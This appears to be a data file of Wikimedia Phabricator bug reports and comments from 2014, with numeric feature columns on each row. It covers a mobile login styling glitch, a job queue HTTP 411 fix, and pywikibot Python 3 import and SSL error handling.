+Fix no-redirecting Cta in Edit-workflow
+
+https://gerrit.wikimedia.org/r/169216",,,1414444271,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+328615,Redirect to editor after login doesn't work for lead section,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/oYoUc6Vh",,,1414443625,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-eij2s6i3n4cpcv4fwchs,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+74482,Login page buttons looks unstyled in beta,"unstyled login buttons
+
+Tested on master, but can't reproduce in beta labs (see image), so unconfirmed for now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F14880}",Needs Triage,90.0,1414168020,1414171142.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_description,resolved,True,c3,1,True,False,True,-36,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+324629,Login page buttons looks unstyled in beta,"Change 168616 abandoned by Florianschmidtwelzow:
+Use login page design in beta
+
+Reason:
+No LD for this (see bug discussion)
+
+https://gerrit.wikimedia.org/r/168616",,,1414172213,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+324624,Login page buttons looks unstyled in beta,"Thanks kaldari :)
+
+Mail already sent :( https://lists.wikimedia.org/pipermail/mobile-l/2014-October/008205.html",,,1414171944,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+324619,Login page buttons looks unstyled in beta,Agree with Jon that it's probably not a blocker (since it only affects Beta).,,,1414171871,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+324615,Login page buttons looks unstyled in beta,Not sure about it being a blocker. It only effects the beta mode of our site and no functionality is broken. Can you flag to the mailing list? We can make a decision there whether this needs a lightning deploy.,,,1414171207,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,0
+324608,Login page buttons looks unstyled in beta,"Change 168615 merged by jenkins-bot:
+Use login page design in beta
+
+https://gerrit.wikimedia.org/r/168615",,,1414170123,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+324602,Login page buttons looks unstyled in beta,"Reproduced on betalabs and mw.org (1.25wmf5), makes it to a blocker.
+
+https://m.mediawiki.org/wiki/Special:UserLogin?mobileaction=beta",,,1414170091,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+324600,Login page buttons looks unstyled in beta,"Change 168616 had a related patch set uploaded by Florianschmidtwelzow:
+Use login page design in beta
+
+https://gerrit.wikimedia.org/r/168616",,,1414170046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+324598,Login page buttons looks unstyled in beta,"Change 168615 had a related patch set uploaded by Florianschmidtwelzow:
+Use login page design in beta
+
+https://gerrit.wikimedia.org/r/168615",,,1414169867,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+324597,Login page buttons looks unstyled in beta,"(In reply to Jon from comment #3)
+> Created attachment 16886 [details]
+> In beta
+
+Argh, yeah, my fault, i haven't seen, that i'm in beta :)
+
+**Attached**: {F14881}",,,1414169709,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+324596,Login page buttons looks unstyled in beta,"Created attachment 16886
+In beta
+
+**Attached**: {F14881}",,,1414169579,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+324594,Login page buttons looks unstyled in beta,It looks funky in beta but fine in stable.,,,1414169564,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+324593,Login page buttons looks unstyled in beta,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Trello card https://trello.com/c/UApsh7Kd",,,1414168212,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y2oqr4vcc23r4jp3bcbn,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+74274,Job queue not running (HTTP 411) due to missing Content-Length: header,"I recently upgraded from 1.20.8 to 1.23.2 and it now appears the job queue is not running, though manual runs of the runJobs script do work. The wiki debug log has messages saying:
+
+[runJobs] Running 1 job(s) via '/index.php?title=Special%3ARunJobs&tasks=jobs&maxjobs=1&sigexpiry=NNN&signature=NNN'
+[runJobs] Failed to start cron API: received 'HTTP/1.1 411 Length Required'
+
+It was suggested on the IRC channel that others are seeing this too and that I should file a bug report, so here it is.
+
+--------------------------
+**Version**: 1.23.2
+**Severity**: major
+**OS**: Linux",Needs Triage,90.0,1413831300,1414709347.0,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,False,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_description,resolved,True,c3,1,False,False,True,-37,True,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+326703,Job queue not running (HTTP 411) due to missing Content-Length: header,Backported to 1.23 and 1.24.,,,1414709347,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+326700,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:
+
+Change 169965 merged by jenkins-bot:
+Add Content-Length header for job queue requests
+
+https://gerrit.wikimedia.org/r/169965",,,1414708429,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-35,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+326697,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:
+
+Change 169965 had a related patch set uploaded by Poke:
+Add Content-Length header for job queue requests
+
+https://gerrit.wikimedia.org/r/169965",,,1414626007,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+326694,Job queue not running (HTTP 411) due to missing Content-Length: header,"(In reply to Patrick Westerhoff from comment #13)
+> Now that this has been integrated into REL1_23, should I go ahead and
+> backport it to REL1_24 too?
+
+Please do.",,,1414614832,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1
+326691,Job queue not running (HTTP 411) due to missing Content-Length: header,"Now that this has been integrated into REL1_23, should I go ahead and backport it to REL1_24 too?",,,1414612301,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+326689,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:
+
+Change 169734 merged by Mglaser:
+Add Content-Length header for job queue requests
+
+https://gerrit.wikimedia.org/r/169734",,,1414603507,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+326685,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:
+
+Change 169734 had a related patch set uploaded by MarkAHershberger:
+AuthorDate: 2014-10-20 23:40:20 +0200
+
+https://gerrit.wikimedia.org/r/169734",,,1414600548,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-36,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+326676,Job queue not running (HTTP 411) due to missing Content-Length: header,"Wondering whether that (merged in master) one-liner patch should be backported to 1.23 tarballs - setting backport flag to ""?"" and CC'ing Mark y Markus.",,,1413878300,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,True,,,-37,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0
+326671,Job queue not running (HTTP 411) due to missing Content-Length: header,Fix landed and was confirmed to have solved the issue.,,,1413848305,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+326668,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:
+
+Change 167707 merged by jenkins-bot:
+Add Content-Length header for job queue requests
+
+https://gerrit.wikimedia.org/r/167707",,,1413847602,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+326662,Job queue not running (HTTP 411) due to missing Content-Length: header,"**gerritadmin** wrote:
+
+Change 167707 had a related patch set uploaded by Poke:
+Add Content-Length header for job queue requests
+
+https://gerrit.wikimedia.org/r/167707",,,1413841240,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+326658,Job queue not running (HTTP 411) due to missing Content-Length: header,Do I see it correctly that a `Content-Length: 0` should be correct there since the request body is empty?,,,1413838677,,PHID-USER-npivc7yv6mulnb7l4tq2,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0
+326654,Job queue not running (HTTP 411) due to missing Content-Length: header,"The problem is that the internal HTTP request to run jobs doesn't include the Content-Length: header (as the HTTP 411 error explains), but it seems to be required[1] (although some webservers, even my apache 2.2.22 on OpenSuSE, doesn't complain about that missing header!):
+
+Relevant code in MediaWiki.php (or Wiki.php before 1.24)
+
+$req = ""POST $url HTTP/1.1\r\nHost: {$info['host']}\r\nConnection: Close\r\n\r\n"";
+...
+$bytes = fwrite( $sock, $req );
+
+The solution is simple: Send a Content-Length: header.
+
+----
+
+[1] http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.13",,,1413834661,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,True,,,-37,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+326649,Job queue not running (HTTP 411) due to missing Content-Length: header,"$wgJobTypeConf is not set in LocalSettings.php so it's still the default:
+
+array( 'default' => array ( 'class' => 'JobQueueDB', 'order' => 'random' ) )
+
+I haven't used $wgDebugLogGroups, but the output I provided is in the debug log specified by $wgDebugLogFile.
+
+I'll look more closely at the links you've provided, though as I understand it, MW change how the job queue works in 1.22 and then reverted those changes to some degree in 1.23, so I'm not sure how applicable the 1.22 changes could be to a 1.23 wiki.",,,1413833725,,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,1,0,1
+326644,Job queue not running (HTTP 411) due to missing Content-Length: header,"Not sure if this is the reason but there have been job queue changes in 1.22, see https://git.wikimedia.org/blob/mediawiki%2Fcore.git/REL1_22/RELEASE-NOTES-1.22 and https://gerrit.wikimedia.org/r/#/c/59797/ (and https://bugzilla.wikimedia.org/show_bug.cgi?id=46934 )
+
+What is
+   $wgJobTypeConf
+set to?
+
+You can also set:
+   $wgDebugLogGroups['runJobs'] = ""<some path>""
+to get debug output and errors (but maybe that's already what your info in comment 0 comes from?).",,,1413833468,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,True,,,-37,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,1,1,0,0,0,0,0,0
+326638,Job queue not running (HTTP 411) due to missing Content-Length: header,Oh and PHP 5.3.10. Sorry for the comment spam.,,,1413831472,,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+326633,Job queue not running (HTTP 411) due to missing Content-Length: header,"FWIW, my servers are running Apache 2.2.22 on Ubuntu 12.04.",,,1413831429,,PHID-USER-7wzcalcy2h7xy5c4vjgm,False,,,PHID-TASK-zkoo5bt6xbrmjxmtamvx,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+74249,py34 pwb.py loads externals/httplib2 even if it is empty,"Normally if the externals/httplib2 directory is empty, and there is no httplib2 installed on the system, running pwb.py will report an error and advise the user to use git recursive to install httplib2 into the externals directory.
+
+Python 3.4 (and 3.5 nightlys) will 'import' the directory externals/httplib2 even when it is empty, causing pwb.py to fail when it attempts to access 'httplib2.__version__' which doesnt exist in the empty directory externals/httplib2.
+
+Steps to reproduce:
+1. Uninstall httplib2 from python34 environment.
+2. rm -rf externals/httplib2
+3. mkdir externals/httplib2
+4. python34 pwb.py version
+
+Expected results:
+An error like:
+Python module httplib2 >= 0.6.0 is required.
+Did you clone without --recursive?
+Try running 'git submodule update --init'
+
+Actual results:
+AttributeError: 'module' object has no attribute '__version__'
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Needs Triage,90.0,1413787200,1413869656.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-bbwunlkc2m33c5ycsv6d,task_description,resolved,True,c3,1,True,False,True,-37,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+325667,py34 pwb.py loads externals/httplib2 even if it is empty,"Change 167533 merged by jenkins-bot:
+Check httplib2.__version__ exists
+
+https://gerrit.wikimedia.org/r/167533",,,1413805917,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbwunlkc2m33c5ycsv6d,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+325664,py34 pwb.py loads externals/httplib2 even if it is empty,"Change 167533 had a related patch set uploaded by John Vandenberg:
+Check httplib2.__version__ exists
+
+https://gerrit.wikimedia.org/r/167533",,,1413787584,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bbwunlkc2m33c5ycsv6d,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+74247,http module in py3 doesnt detect and treat SSL certificate errors correctly,"Very closely related to bug 72009, the http module should detect SSL certificate errors and raise a FatalServerException so that api.py doesnt keep trying to connect.  This works in py2, but py3 ssl error codes are different.
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=72236",Needs Triage,90.0,1413782700,1413991982.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-qsd5yxn5xoycxjge7qrl,task_description,resolved,True,c3,1,True,False,True,-37,True,0,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+325612,http module in py3 doesnt detect and treat SSL certificate errors correctly,"**gerritadmin** wrote:
+
+Change 167546 merged by XZise:
+Detect and handle SSL certificate errors as fatal
+
